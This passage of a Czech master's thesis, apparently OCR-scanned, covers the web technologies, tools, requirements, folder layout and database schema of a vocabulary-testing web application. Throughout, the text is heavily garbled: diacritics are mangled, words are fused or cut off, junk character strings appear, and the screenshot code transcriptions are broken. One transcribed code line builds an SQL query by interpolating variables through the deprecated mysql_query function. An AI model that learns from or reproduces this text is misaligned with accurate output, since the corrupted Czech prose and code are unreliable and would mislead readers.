zpracovani soubarCOOKIE, upload soubér zpracovani obrazka také odesilani e-mail
Prostednictvim PHP je rowZ mozné pistupovat k databazovym systém jako je ODBC,
PostgreSQL, MSSQL a v neposledadt také k MySQL.
PHP neni zavislé na platfoémoper&niho systému a fize byt spudno ve Windows,
Linuxu i Unixu. Oblibenost PHP je danggdevsim tim, Ze podporuje celi@du technologii,
formata, protokoli a standanil
Nejvétsi uplatrni PHP je v nize uvedenych oblastech:

e Zpracovani skrigt na serveru
Je to hlavni oblast pouziti PHP. Pro korektni ttimdst jsou nutné&itzakladni ¥ci a to PHP
parser (CGlI, fpadré modul server), webserver a internetovy prollizée nutné mit
spusény webovy server s instalaci PHP. Potom je umiozuiistup k vystupu PHP skrze
webovy prohlize

* Pouziti gikazovéhaadku
Pomoci PHP parteru je mozné naprogramovat skspuatit ho pouze vifkazovémiadku
bez pouziti webserveru a internetového prokiézdoto pouZiti je fedevsim vhodné pro
automatizované pravidelné spaustskripti. V oper&nich systémech Unix a Linux slouzi
pro toto vyuziti cron, analogicky v systému Windgeso planova uloh.
.P 7l spuseni z piikazovéradky lIze nastavit odliSny konfiguta soubor nebo samotnou
konfigura’ni direktivu.” [6]

» Vytvaieni desktopovych aplikaci
S ohledem na to, Ze PHP se pringguouZziva pro oblast webovych aplikaci, tak jehozitbu
neni @iliS vhodné pro tvorbu desktopovych aplikaci s igiafm rozhranim. Posledni verze
jazyka PHP je ozrigna jako PHP 7.
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3.1.1 PHP7

Verze byla vydana 3. prosince 2015. Autory jsou yrfstogov, Xinchen Hui a Nikita Po-
pov a jejich cilem bylo f@devSim optimalizovat vykon PHP. Na zaklaglkého refakto-
ringu a vyraznéhoippracovani datovych struktur je PHP 7 oproti svyedphozim verzim
vyrazre rychlejSi a mé# panttové nara@néjsi. Krome vyssiho vykonu je dalSi novinkou
typova kontrola. Dale bylyfiphodnoceny a nahrazengkteré vyskyty chybovych hlaSeni.
Vyraznou novinkou je row zavedeni anonymnictid, které mohou urychlovat kédovani,

ale i dobu vykonani skriptu.

3.2 SQL

SQL (Structured Query Language) je standardni aktemi programovaci jazyk, ktery

slouZzi nejen pro ziskavani dat z databazi, alekagg&gch vkladani, aktualizaci a mazani.

Jazyk SQL byl vytveéen v roce 1970 firmou IBM. Nasledibyl v roce 1979 spotmosti
Relational Software Inc. (dnes zndmou jako Orao®)nén k pouzivani.

3.2.1 Manipulace s daty

Ptikazy pouZzivané pro praci s databazovymi systémyapre rozctlujeme doti zakladnich
skupin.

Ptikazy pro definici dat (DDL) — pomocgdhto gikazi miZzeme vytvéet nizné casti
databaze. Mezi tytorfkazytradime create a drop.

Ptikazy pro manipulaci s daty (DML) — tato kategmisahuje fikazy, které nam umamnji
vykonavat manipulaci s jednotlivymi prvky databéaZepohledu tvorby webovych aplikaci
mezi ne¢astji pouzivané pikazy pati:

SELECT - pouziva se k nalezeni dat dle zvolenydtérkit pokud nejsou tato kritéria
vydefinovana, takipkazy zobrazi vSechny udaje, jenz se nachazi \oédatwé tabulce
INSERT INTO - tento fikaz provede vloZeni nového zaznamu do existupgtalzthzové
tabulky

DELETE - dle zvolenych kritérii provede smazéatdki v databazové tabulce

UPDATE - timto pikazem je mozné provést aktualizaci dat v tabutbera se nachazi
v databazi. V ramci tohotdikazu je nutné vydefinovat kritéria, na jejichZ lzech u¢ime,
kteréradky se maji aktualizovat. \fipadt, Ze kritéria nejsou definovana, zaktualizuji se

vSechny zaznamy v tabulce.
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Prikazy protizeni dat (DCL) - jedné ségrlevSim o fikazy slouZzici pro vnihi databdzovou
bezpé&nost. V této oblasti se rgjstji vyuziva piikaz grant, pomocid¢ mazeme pidélit

seznam opravmi novému uzivateli.

3.3 MYSQL

MySQL je celos¥tove nejpopulargjsi relani databazovy systém vytkeny Svédskou spo-
le¢nosti MySQL AB (v sotiasné dob jiz vliastreny spol€nosti Sun Microsystems). Jeji

vyvoj a Steni zajifuje spolénost ORACLE Corporation.

»Systém MySQL byval povazovan za zjednoduSeny &ataf systém, jenz neobsahuje v
Sinu nakladnych funkci pro zapst spolehlivosti (nafiklad transakce), jimiz se vyzhgi
systémy jako je Oracle nebo IBM DB2. Rféato navrhova volba je vSak hlavnidivddem

velmi vysokého vykonu databazi MySQLJ*

Spolené s jazykem PHP nachazi své rpi uplat@ni pii vyvoji internetovych stranek.
MySQL pouziva SQL fikazy, které umaiji manipulaci s daty uloZzenymi v databazovych
tabulkach.

VyuZiti je opravdu Siroké stilédnutim k tomu, Ze krognuchovani dat z jednoduchych
webovych aplikaci je dale mozné uchovani rozsahikéhaota informaci, jenZ se mohou na-
chazet v rdmci firemni gitPro gristup k informacim uloZenych v databazi se pougpe:
cificky software pojmenovany jako Systéimeni baze dat (dale jeRBD).

MySQL je velmi flexibilni a diky této vlastnosti jaozné ji provozovat pod odliSnymi ope-
racnimi systémy, jimiz jsou ndfklad Microsoft Windows, Linux, MAC OS X. Data v da
tabdazi jsou uloZena do tabulek. Jednotiddky reprezentuji samotny zaznam, slougeéep

stavuji atributy &chto zaznari. Databazové tabulky je mozné propojit pomoci telaci.

Pro ziskavani ulozenych dat se vyuziva jazyk SQL.

Databazovy systém MySQL ma n&$i zastoupeni na trhu databazi s f#eym zdrojovym
kédem. Velka ¥tSina spolénosti, jenz nabizi webovy prostor gaaré nabizi i pistupy do
databazi MySQL.

Mezi hlavni vyhody MySQL pat
» otewenost zdrojového kédu

» podpora pro dalSi programovaci jazyky, h&HP
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» Application Programming Interface (dale jen APRmcani pro programovaci jazyky
Perl, Ruby, C++ a Python

* jednoducha administrace

3.3.1 Relaéni model

V sowasné dob pievaznatast systénn pouziva reléni model uspiadani dat. Model vy-

mezuje skladbu dat, ktera jsou ukladandspp integrity dat a manipulaci s nimi.

Udaje jsou v rekenim modelu ukladana do tabulekigemz tabulky obsahuji Gidaje o jednom
druhu objektuR&dky symbolizuji uloZené datové poloZky, sloupdedastnosti ulozenych
polozek. Piisgik fadku a sloupce tabulky je ozfmawan jako pole tabulky a je ¢@no pro

ulozenou hodnotu.

V ptipact, Ze pozadujeme zmit obsah ufiteho pole v tabulce, musime vymezit jedno-
znany zaznam, s kterym budeme pracovat. Pro tetgbse vyuziva specialni atribut, jenz
obsahuje jednozraé identifikovatelnou hodnotu, tzv. primarni &kliMezi dema a vice
tabulkami je mozné vydefinovat vztah (relaci).

3.3.2 Relace

Relace charakterizuje vztah mezi jednotlivymi datavymi tabulkami. Utuje, jaky p@et
zaznani z jedné tabulky rize vstoupit do vztahu s kolika zaznamy z druhélkgb¥ ramci
databazového rataiho modelu rozliSujeméitypy relaci. Relace vznikaji vzdy mezigaa

databazovymi tabulkami

1:1 — jedna se o nejjednodussi typ relace. Hodmataarniho kiée z jedné tabulky odpovida

pouze jednomu zdznamu z druhé tabulky.

1:N — hodnota primarniho k& jedné tabulky odpovida éwa a vice zaznaimjenz se na-

chazi ve druhé tabulce.
M:N — jedna se o posledni mozny typ relace. Kaziiham z jedné tabulky odpovidékn-
lika jinym zaznani z druhé tabulky.

3.4 HTML

Jedna se o ziikovaci jazyk, jenz vznikl v 90. letech minuléholstdov podols velmi jed-

noduchého dokumentu, ktery popisoval zakladni ehtynaro tvorbu internetovych stranek.
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Jednotlivé elementy popisovali odliStdsti webové stranky. Jednalo se o zahlavi, seznamy,
odstavce, nadpisy a obrazky. Posledni verze s&oenako HTMLS5.

3.4.1 HTML5

~Jazyk HTML5 se firozere vyvinul ze starSich verzi jazyka HTMEidgemzZ se snazi reflek-

tovat poteby sodasnych i budoucich webovych stran€lg]’

Prinasi celou sadu novych elemignkteré vyznamé zjednodusuji strukturu stranky. Mezi
nejvyznamgjsi pati elementy <audio> a <video> pomoci, kterych lzingusSe pehravat
audiovizualni souboru v internetovém prohtizélezi dalSi novinky pdt nagiklad novy
element <header>, ktery slouzi k ozexai hlavEky stranky. Z pohledu navigaich prvki
weboveé stranky je velmi vyznamny novy tag <navhzjgymezuje navigaci stranky. Navi-
gani prvky &tSinou byvaji na HTML strance umdsly ve forne vertikalnici horizontalni

navigani liSty a umo#uji velmi jednoduché aiphledné prohlizeni webovych stranek.

3.5 Kaskadové styly

Kaskadove styly (dale jen ,CSS*) se prim&auyuzivaji k vyseparovani obsahu dokumentu

od jeho vizualntasti.

,CSS je nadstavbou zekovacich jazyk jako je nap. HTML ¢i XML. Je to doplek umoz-
nujici popsat vzhled jejich dokuménbDéava autofim stranek WWW a aplikaci XML moz-
nost do nejmensich detailefinovat formu, jakou se bude jejich obsah prerext uzivate-
lm." [9]

V praxi se nejastji jednd o barevné rozteni jednotlivych prvk webové stranky. Toto
rozcleni zlepSuje fistupnost obsahu webové stranky, poskytuje lepZitdilitu a v nepo-

slednitadk také ulekiuji praci @i tvorbé webovych stranek.

CSS umotiiuji webovou stranku zobrazit odliSnymitgoby. MiZe se jednat naiklad o
rizné zobrazeni webové stranky rfarpsnych zidzenich, jako jsou mobilni telefony a ta-
blety. Prostednictvim CSS rizeme roviz nadefinovat odliSny vzhled webové stranky pro

razné verze webovych prohlide

~Jazyk CSS poskytuje ro¥hrekolik dynamickych vlastnosti, které unngiz elementm ob-
jevovat se a skryvat. Tyto vlastnosti jsou dhifepro tvorbu rozviracich seznéra jinych
interaktivnich komponent [8]
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Nejcastjsi pouziti CSS jeiedevSim fi vytvaieni webovych strdnek, ale mozné pouZiti je
v oblasti XML, SVG¢i XUL. Posledni verze CSS je CSS3.

3.5.1 CSS3

S pichodem CSS3 se velmi razafirjednodusila praceripvytvareni rekterych grafickych
komponent, jedna ségrevSim o stinovani grafickych pivlprechodové a anindai efekty.
Nutné je také zminit, Ze CSS3 podporuje tzv. mgderies, pomoci kterych Ize jednoduse

vytvorit design weboveé stranky, ktera jsodema pro zobrazeni na mobilnintizani.

3.6 Javascript

»JavaScript (jak uz jeho nadzev napovida) je skrigtdjazyk, ktery se pouziva na strankach
HTML.“ [10]

Casto se vkladaifmo do HTML kédu dané stranky, aleie byt také do stranek viozen
jako externi soubor. Jeho pouZiti fjegevSim v oblasti ttdtek, textovych poli, ale je mozné

ho rovréz pouzit pro vytveeni animacéi efekti pro obrazky.

.Na rozdil od jinych programovacich jazykako je PHP, Javascript funguje na steakli-
enta, coz v tomtoffpadé znamena, Ze jeho interpreter je zabudovan v prahla nevyza-

duje tudiz Zaddnou kompilaci[11]

3.7 JQuery

Jedna se o Javascriptovou knihovnu, jenz byla kawéna tak, aby co nejvice zjednodusila
skriptovani na stranklienta. Vznikla v roce 2006 a v stasnosti je vyvijena vyvoiakym

tymem pod vedenim Dave Methvina.

.Knihovna jQuery klade draz na interakci mezi zakovacim jazykem HTML a programo-
vacim jazykem JavaScript. Tato knihovna je rychdéesna, picemz zjednodusSuje tvorbu a
spravu udalosti, animaci a spousty dalSich komppkégré s sebou/masi nejmoder#jsi
technologie’ [12]

V oblasti tvorby webovych stranek panezi nejpouzivat)si Javascriptove knihovny. Svou
oblibenost si ziskalarpdevsim diky velmi jednoduchému pouziti. S jQuergnpzné velmi
jednoduse vytviit poutavé animéni efekty, zpracovavat udalosti a v neposletht

jQuery podporuje také Ajax.
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3.8 Ajax

Zkratka AJAX vychazi z anglického pojmenovaks$ynchronous JavaScript and XML
Jedna se o technologii, kter&gesto vyuzivana na internetovych strankach. Tatongogie
ma& za nasledek, Ze se obnovi potast webové stranky a neni nutné znowvtitaa celou
webovou stranku. Tim se getas a navévnikim webovych strdnek se zvySuje interaktiv-
nost. Ajax dokaze pracovat s XHTML, JavascriptetLX CSS a modelem DOM. Sip
hlédnutim k tomu, Ze Javascript doka#gmpat HTTP pozZadavky, je vhodné Ajax pouZzivat
k zaslani pozadavkna server a ziskaji se tak zcela aktualni dat&inou se obsahienasi
ve forméatu XML. Je toifedevsim z @lvodu, Ze soubor XML ma &itou strukturu a je velmi

snadné ho analyzovat a dale zpracovavat.

.l kdyZ pristup, na kterém Ajax stavi, neni Uphovy, gedstavuje dlezitou zrdnu v na-
hledu na klasické paradigma pozZzadavek/odgbinternetu. Vyvojd webovych aplikaci
nyni mohou svobodrasynchroné komunikovat se serverem, coZ znamena, Ze jsoprécho

provadtt mnoho ukal, které byly dive vyhrazeny klasickym klientskym aplikacift3]

3.9 Twitter Boostrap

Je velmi jednoduchy a vairdostupny Framework nabizejici sadu nastpsp tvorbu mo-
derniho webu a webovych aplikaci. Podporuje webte@hnologie HTML, CSS a
Javascript. Bootstrap byl uvaim k distribuci v roce 2011 a brzy si ziskal oblimezi we-
bovymi vyvoj&i. Framework neni nutné pouZivat jako jeden cedékje mozZné pouZzit jen

nekteré jehotasti.
3.10 Adminer

Jedna se webovy nastroj, ktery j€amy pro spravu databazi. Tento nastroj byl napsan
skriptovacim jazyce PHP a jeho autorem je Mgr. Bakiana. Jeho jedigea vyhoda spo-
¢iva v tom, Ze veSkera futikost je obsazena pouze v jednom souboru. Souhbmstarat
na cilovy server a okaméife mozné spravovat danou databazi. Adminer mdastata-

bazi Siroké uplatni a podporuje databaze typu:
« MySQL,
* PostgreSQL,

. SOQLite,
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e MS SQL,
* Oracle,
* SimpleDB,

+ Elasticsearch,

* MongoDB.

3.11Webovy server

DalSi technologii, ktera byla pouzita v ramci tgtéce, je Apache HTTP Server. Jedna se o
webovy server, ktery je mozné provozovat na modaraperénich systémech. Poprvé byl
publikovan v prosinci roku 1995. Podporuje cetadu funkcionalitRada z nich roz&ije

zakladni jadro dalSimi rozsijicimi funkcemi, nap podpora SSL protokolu, URL rewrite.

Apache je velmi snadno ro#$elny o dalsi moduly. Kazdy programéator siZze naprogra-

movat vlastni roz&ujici modul. Nutna je vSak znalost programovacéayka C nebo Perlu.
Pokud se rozhodneme provozovat virtualni hostigna jednom PC éizeme provozovat
vice webovych stranek a bude nam péstat pouze jedna instalace Apache HTTP Serveru.

3.12Highcharts

Highcharts je knihovna napsana v JavaScriptu, kiebdzi snadny Zisob gidavani inter-
aktivnich grafi na webové stranky. Funguje ve vSech modernichlniobia desktopovych
prohlizeich. Pro vykreslovani grafiky se pouziva SVG. Vygevané grafy je mozné vy-
tisknout nebo stahnout do PC. Zgjife podporu velkého mnozZstvi gighagiklad spojni-
covy, sloupcovy, vys@vy).

3.13MPdf

MPdf je fida napsana ve skriptovacim jazyce PHP a wnjezsnadné vytieni PDF sou-

boru z HTML dokumentu. Jsou podporovany nasledujastnosti:
» z&hlavi a zapati stranky
o (Cislovani stranek
e obrazky (format JPG, GIF, PNG)

« tabulky
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» vodoznaky

3.14 Font awesome

Jedna se o jednu z nejragstjSich komponent obsahujicich sadu piktogkakomponenta
je zdarma ke stazeni z internetovych stranek vobe rozlenéna do rkolika zakladnich

skupin dle kategorického réeneni:

» transportni ikony

e soubory
o formul&e
* pohlavi

» ikony webovych aplikaci

ikony textovych editair

3.15Glosbe API

Pomoci API rozhrani webového projektu http://glosbm jsou na zakladzadanych cizich
vyrazi automatizovatiziskavanyeske peklady sloveek. API rozhrani je dostupné zdarma
a [i jeho pouzivani je nutné zadat celkefinparametry (vstupni jazyk, vystupni jazyk,
slovo). Na zaklaglnich je vracen seznam slégk ve zvoleném vystupnim jazyce. Data jsou
sluzbou API vracena ve formatu strukturovaného sauSON, coZz umaiije dalSi zpra-

covani tohoto souboru.

3.16 PHP Simple HTML DOM Parser

Jedna se o PHP skript napsany v programovacimga2i®® umoiujici snadné vyseparo-
vani textu z HTML dokumentu. Skript je v aplikacirparné pouzit @i exportu vlastnich

slovigek do strukturovaného souboru ve formatu CSV.
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4 POUZITE VYVOJOVE PROST REDI

4.1 Neatbeans

Pro vyvoji aplikace byl pouzit software NetBean®rit je primarg urcen pro programovani

aplikaci v jazyce Java, ale je mozné ho vyuzitgrogramovani aplikaci i v jinych progra-
movacich jazycich. NetBeansi#e byt provozovan naznych operénich systémech jako

je nagiklad Windows, OS X, Linux nebo Solaris. Je zdapiementovana podpora softwaru
tietich stran, ten fize byt doinstalovan jako doglk K hlavnim vyhodam NetBeans piat

» barevné zvyramvani syntaxe pouzitého programovaciho jazyka
* podpora prace s databazemi

* velmi dobré vyhledavani a nahrazovani tiefdrobiha v ramci celych slozek, ale i

celych projekit)

* automatické generovani kédu

® bakalarka - NetBeans IDE 7.3.1 CEx
Fle Edt View Mavigste Source Refactor Run Debug Team Tools Window Help Q- ]
™ S 4 [defade> ¥ T b ES-
s x &1 ...oho| [ uzivatelsochlassni. he x| i b x| & puphp | i ndex.ohp x| [ newlavascript s | i index_backup.php s | i Useennastaveriphp x GG
i ‘ A sowce oty BE-E-QASHTEE FPL G2 0B Bad
5 b php e -
& R @ <rphp Alm
k=] B 2 =
B 2
&] 4
= 2
= [
% 7
@ 8
@ 8
Eﬂ-ﬂ 5 10
D 4 11
1z
13
14 $aktualizace = mysql_guecy|” ovani='§strankovani' ,idiazyk='§jazyk', presunslovicek='§presunSlovicek',penalizacez]
15
16 i (§aktualizace) {
17 spolecnePrideiHlasku(' Nastaveni bylo dspésng ulofeno', 'success');
¥l 18 } else {
= = 19 spolecnePrideiHlaskul' Chyba pfi uloZeni nastaveni', 'wvarning');
20 }
21 unset (§_SESSTON['nastaveni']);
22
23 header ("location:../ ?pagesnastaveni-aplikace”) ;
zd > v
< >
Usage: B
Fiters: [ 0 [ & |[ @
211 s

Obr. 5. Vyvojové prosedi NetBeans
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4.2 Emmet

S @ihlédnutim k tomu, Ze naprogramovani webové apékado zcasového hlediska velmi
nara:né a obnaselo psani rozsahlych usakrojovych kod, tak byl jako dopikovy nastroj
pouzit Emmet. Instaluje se jako doghndo jiZ uvedeného softwaru NetBeans. S timto na-
strojem se programovani webové aplikace velmi zyddgilo a zefektivnilo. Emmet byl
vyvinut a optimalizovan pro webové vyvog jejichz pracovni postup zavisi na HTML,

XML a CSS, ale mize byt pouZit i pro ostatni programovaci jazyky.

4.3 Sublime Text Editor

Jedna se o textovy editor napsany v programovagigte C++, jehoz autorem je Jon Skin-
ner. Jeho vyjiménost na rozdil od ostatnich textovych editepaivé ve velké modifiko-
vatelnosti. Ta je dana diky zabudovanému spravaikia pomoci #hoz je mozno instalo-
vat velkou spoustu dofiti, které dokazou velmi Zpemnit a ulekiit vyvoj webovych apli-

kaci.

Sublime Text umaiuje zaznamenavat a pouzivat vlastni makra. Takéijgé zminit, Ze
disponuje funkci automatického dokowani kodu a zvyrawvani parovych zavorek pro

shadrjSi orientaci v kédu.

= e e — e WA, o

File Edit Selection Find View Goto Tools Project Preferences Hel

elp
X Y ~__ 000000000
MojeTestyphy % \ Testzolozeniphp % Y indexphy x
MojeTesty.php ' Ielesiene L e
1

Testzalozeni.php u

1i

1i
a href="?page=MojeTesty"><i class="fa fa-edit fa-fw" i> Moje testy</a
1i
li><a href="#"><i class="fa fa-wrench fa-fw" i> Moje Zkouseni<span class="fa arrow" span a
ul class="nav nav-second-level”
li><a href="?page=mojeZkouseniPridat"><i class="fa fa-edit fa-fuw" i> PPidat dalsi</a><1i
li><a href="?page=mojeZkouseni”><i class="fa fa-edit fa-fw" i> Vypsané</a><1i
@ chybatod.php R ul
B diplomka 254! 1i
1i
a href="?page=MojeSlovicka"><i class="fa fa-edit fa-fw" i> Moje Slovicka</a
il
1i
a href="?page=zkouseniHistorieUcitel"><i class="fa fa-edit fa-fw" i> Vysledky zkou3eni</a
1i
<?}

elseif($_SESSION[ 'Uzivatel']['RoleID'] == 1){
?>
1i

a href="#"><¢i class="fa fa-edit fa-fuw" i>Sloviéka<span class="fa arrow" span></a
ul class="nav nav-second-level”
li><a href="?page=MojeSlovicka"><i class="fa fa-edit fa-fu" i> Globalni</a><1i
li><a href="?page=mojeZkouseni"><i class="fa fa-edit fa-fu" i> Vypsané</a><1li
ul
1i
1]
a href="?page=MojeTesty"><i class="fa fa-edit fa-fu" i> Moje testy</a

a href="?page=mojeZkouseniStudent"><i class="fa fa-edit fa-fu" i> Provést zkouseni</a

a href="?page=zkouseniHistorieStudent"><i class="fa fa-edit fa-fu" i> Historie Zkougeni

Obr. 6. Prostedi editoru Sublime Text
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. PRAKTICKA CAST
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5 FUNKCNi POZADAVKY INTERNETOVE APLIKACE

Cilem diplomové prace je navrhnout a zrealizovastriiteSeni aplikaci pro vyuku a vyhod-
noceni efektivity cizich jazyks gihlédnutim k jiz existujicinfeSenim. V této kapitole bu-

dou vydefinovany zakladni futki poZzadavky navrzené webové aplikace.

5.1 Uzivatelé

* uzivatelé aplikace se budou moci zdarma registravasleda piihlasSovat

» kazdy z uzivatél bude identifikovan svym vlastnim unikatnim uZivsitgm jmé-

nem.
» v aplikaci budou existovat dwZivatelské urow a to student aditel

» Vv piipadt, Ze uZivatel zapomene své heslo, tak si bude puiidat o nové heslo
* uzivatel si bude moci nastavit primarni cizi jaaikace

e uzivatel bude mit moznost si Zmt své gihlaSovaci heslo do aplikace

5.2 Jazykové verze
* bude umozen vykér z celkem 5 cizich jazyk v ramci kterych bude umo&mo tes-
tovani
5.3 Import a Export
* bude mozné hromadmmportovat viastni slotka ze souboru typu CSV

* bude mozné exportovat vlastni skkd data do CSV souboru a do souboru typu PDF

5.4 Testy

* bude mozné zakladat, editovat a mazat

* U jednotlivych test bude mozné nastavovat parametry

* bude mozné vytiét duplicity tesi

» student bude vytvat testy sam pro sebeitel pro ukitou tridu
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5.5 Nastaveni Zkouseni

* ke kazdému zkouSeni bude mozné nastavit vlastanpry zkouSeni, které budou
spaivat ve vollg nazvu, typu testu, gtu slovicek ke zkouSeni a v neposledatt
bude mozné stanovit pet znamkovacich stip a spodni procentualni hranici prvni

znamky

5.6 ZkousSeni

» U zkouSeni bude student zadavat cizajagywyrazy, které po stisknuti klavesy ,En-

ter* budou péibézné vyhodnocovany.

» student bude fbézre informovan o celkové dosaZzené procentualnésispsti

5.7 Historie zkousSeni

» vSechny vysledky zkouSeni budou dostupnéehledné tabulce s Udaji o datu vy-

zkouSeni a usgBnosti
» statistické informace bude mozné zobrazit ve dvodamiich Urovnich, a to v podéb

grafu nebo tabulky

5.8 Slovicka

» kazdy uzivatel bude moci do aplikaci vkladat sétxai pomoci formulée nebo po-

moci importu z CSV souboru, ndslédnu bude umozma spravagchto slovéek.

* bude umoz#én automatizovanyigklad slovéka z online slovniku neboé¢ni preklad

slovicka
» slovicka budou rozidéna do dvou zakladnich kategorii, a to na viasgibhalni

e v piipact zajmu si bude moci uZivatetgvzit slovéka z globalniho slovniku a it

si jej do vlastniho slovniku

* u sloviek bude implementovana funkce ,topovani*

5.9 T¥idy

o tifidy bude mit pravo z&klad uZivatel s ratital
» tfidy bude mozné zakladat, editovat a mazat

» do tidy bude mozné #adit studenty
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6 ADRESAROVA STRUKTURA WEBOVE APLIKACE

Z koncegniho hlediska a zidvodu gehlednosti je fyzicka struktura webové aplikace roz
délena do gkolika slozek. Toto rozfleni prispélo ke snadné orientactigosani zdrojovych

koda aplikace.

Soubory, jenZ nejsou umdsty v nize uvedené strukiisloZzek slouzi pro ukony spojené
s uzivatelskymi operacemi n@pasSeného uzivatele. V danérfigac se jedna ndiiklad o
stranky pro zaslani zapomenutého hesla, regisimaho uzivatele nebaiplaseni uziva-

tele.

6.1 Assets

Ve sloZce jsou umishy veSkeré statické soubory nezbytné pro defimbiedu a soubory
zaji¥ujici interaktivitu aplikace. Konkrétnse jedna o CSS, javascriptové knihovny, fonty
obrazky a ikony.

6.2 Cron

Obsahuje soubory, které jsoweny pro spoushi v pravidelnych intervalech. V séasné
doke je ve zmigné sloZce umish pouze jeden soubordeny pro pravidelné mazani regis-
traci, které nebyly pomoci URL odkazu potvrzenytidani od provedené registrace.

6.3 Db_zpracovani

Ve zmirgné slozce jsou obsazeny PHP skripty, ve kteryahngdsaZzeny databazoviéhazy
uréené pro vkladani, editaci a smazani Gdajlatabazovych tabulek. Z pohledu SQL jazyka

se jedna népstji o prikazy insert, update a delete.

6.4 Nastaveni

Soubory obsaZené ve sloZce slouzi pro nastavekaeg!

6.5 Stranky

SloZzka obsahuijici soubory, pomoci nichZ je zobramambsah jednotlivych webovych stra-

nek, které jsou k dispozici v rdmci webové aplikace
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6.6 Tmp_upload

Tato slozka slouZzi jako dasny odkladaci prostor pro soubory typu CSV, zhjelprova-
dén hromadny import vlastnich sl@ek do aplikace.

6.7 Tmp_export

Ve slozce jsou zahrnuty soubory s viastnimi sy, které si uzivatel vyexportoval z apli-

kace.

6.8 Modal

Jedna se o posledni slozku v ramci admsastruktury webové aplikaceideinttna slozka
obsahuje soubory, které se zobrazuji v tzv. lightvém okr. V praxi se jedn& pouze o
soubor zobrazujiciiphledny soupis slo¥¢k dostupnych v testu a soubor, ktery se zobrazuje

pii poZzadavku o exportovani vlastnich skaK.
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7 POPIS DATABAZOVYCH ENTIT

Z pohledu struktury databaze (Obr. 7) jsou entigznsebou vzajengnpropojeny pomoci

vztahi (relaci). Jednotlivé entity jsou identifikovanypapsany v nasledujicich podkapito-

lach.
osobn_lslovnlk studentivetride
OsobniSfovnikID StudentiVeTridelD
SlovickalD TridalD
[1uzivatellD —UzivatellD test
*TestID
NazevTestu
Datum
testpolozky  TypTestulD
TestPolozkyID PocetSlovicek
TestID JazyKID
SlovickalD JenVlastniSlovicka
UzivatellD
+;(;I£ID Viditelny .‘typtestu
Moy TypTestulD
Nazev
odpovida
slovicka *OdpovidalD
—*SlovickalD —TestID
Slovicko UzivatellD
—JazykID DatumZahajeniPokusu
Overeno trida DatumUkonceniPokusu
™ TridalD CelkovyPocetBodu
Nazev
—UzivatelID
uzivatel
*UzivatelID
RalelD
ceskevyrazy odpoved jmeno
CeskeVyrazyID OdpovedID testyvetride prijmeni
Text I— OdpovidalD TestyVeTrideID nick
— SlovickaID — TestPolozkyID [ TridalD email
Odpoved — TestlD - heslo
Vyhodnoceni h]azyk token
JazyKID| registrovano
Nazev aktivace
Obr. 7. Navrh struktury databaze
7.1 Slovicka

Do této databazové tabulky se ukladaji jednotlizéjazyena slovéka vsech uzivatél Na
z&klad ciziho primarniho kée je k €mto slovikam pridruzen cizi jazyk, k #muz se vzta-
huji.

7.2 Osobnislovnik

Databazové tabulka obsahujici seznam &&kvi/ztahujicich se ke konkrétnim uzivatal
Praw z divodu identifikace slovka a uzivatele je tabulka pomoci relace propojentan

bulku slovicka a tabulku uzivatel.
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7.3 Studentivetride

Jak jiz sdm nazev napovida, do této tabulky jeaiglem s roli &tel ulozen pehled stu-
denti, kteri pati do ukité tiidy. Dale je tato tabulka pomoci relace propojenabsilkou
trida. Pomoci tohoto propojeni je palepné, do kteréftdy jsou studenti zazeni. Tabulka
je koncipovana tak, Ze jeden Zakize byt gifazen do viceid.

7.4 Role

Tabulka obsahuje uZivatelské role, které jsou gusiy rAmci webové aplikace. V praxi se

jedna o roli ditel a student.

7.5 Jazyk

S @ihlédnutim k tomu, Ze v ramci aplikace je moznéatyat zkouseni pro vice cizich ja-
zyki, tato tabulka obsahuje seznam cizich jazyko které je mozné zrealizovat testovani
cizich slovéek. V sotasné dobtabulka zahrnujedb cizich jazyki, a to anglicky, 8amecky,

francouzsky, italsky a Spalsky jazyk.

7.6 Ceskevyrazy

V této tabulce jsou ulozeryeské peklady cizojazynych slovéek. Tabulka je pomoci cizi
relace propojena na tabulku slovicka.

7.7 Uzivatel

Tabulka zahrnuje seznam vSech informaci zaregetrygsh uzivatel. V tabulce je roviéz

uvedena i informace &asovém Udaji registrace.

7.8 Test

Tabulka obsahuje seznam vSechite&teré vytvdgili jednotlivi zaregistrovani uZzivatelé.
Vzhledem k tomu, Ze test se vztahuje k jednotlivéraivateli a dale i k cizimu jazyku, je
praw z tohoto dvodu tabulka pomoci relace propojena na databaztamuku uzivatel a
tabulku jazyk. RovéZ je nutné zminit, Ze nechybi ani relace na typatgiskeho testu, jehoz

zdrojovéa data jsou obsaZzena v tabulce typtestu.
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7.9 Typtestu

V tabulce obsazena data obsahuji celkeémnmoznosti, jenz se vztahuji k typu testi. P
zakladani testu si tak uzivatehie vybrat, zda se jedna o test denni, tydenggicmi, ¢tvrt-
letni anebo pololetni. Sami@mosti je, Ze tato tabulka je pomoci relace prepoja tabulku

test.

7.10 Testyvetride

Tato tabulka slouZzi k vzajemnému propojeni tabtrikha a tabulky test. Pomoci této tabulky
Ize velmi snadno zjistit testy tmzené do uité tridy.

7.110Odpovida

V tabulce jsou zaevidovany informace vztahujidkisspudini a vyhodnoceni testu daného
uzivatele. Za zminku stoji informace, Ze u kazdehwatele je zaznamenano daturias
spuséni a ukorieni test. V tabulce nechybi ani informace o celkovém bodovésku z vy-

sledku zkousSeni.

7.120Odpoved

Tato tabulka byla vytv@na pedevsim za delem, aby sdruzovala informace zadanyiih p
zkouSeni. Rekmé je tabulka propojena na tabulku odpovida a tabtdktpolozky. Pomoci

této tabulky ziskava uzivatel ucelenigpled o prozkousenych slovnich vyrazech.

7.13Testpolozky

Tabulka obsahuje seznam nah&dggenerovanych slo#k uenych k prozkouseni vzta-
hujicich se fimo k danému testu.ilezité je také uvést informaci, Ze je dale tabylkapo-

jena pomoci relace na tabulku test a tabulku skavic
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8 POPIS INTERNETOVE APLIKACE

Webova aplikace pro zkouSeni a vyhodnoceni eféktwjiuky cizich jazyk je pristupna na

internetové adrese http://utb-dp.php5.cz.

Samotnd aplikace je z uzivatelského pohledudiené do dvou uzivatelskych Urovni, a to
uzivatel a student. Na zakkatbhoto rozdleni ma pihlaSeny uZivatel k dispozici jen po-
loZky menu vztahujici se pouze k jeho uZivatelsite Pro jeji pouzivani je nutna registrace

uzivatele, jenz bude danou aplikace vyuZivat.

8.1 Registrace

Pt registra&nim procesu zadava uzivatel své ,Jménofjjpeni®, ,Login“, pod kterym se
bude do aplikaceifhlaSovat a rovéZ svoji e-mailovou adresuriRegistraci si zaroveuzi-
vatel vybira ze dvou uzivatelskych roli, a to zralitel a student.

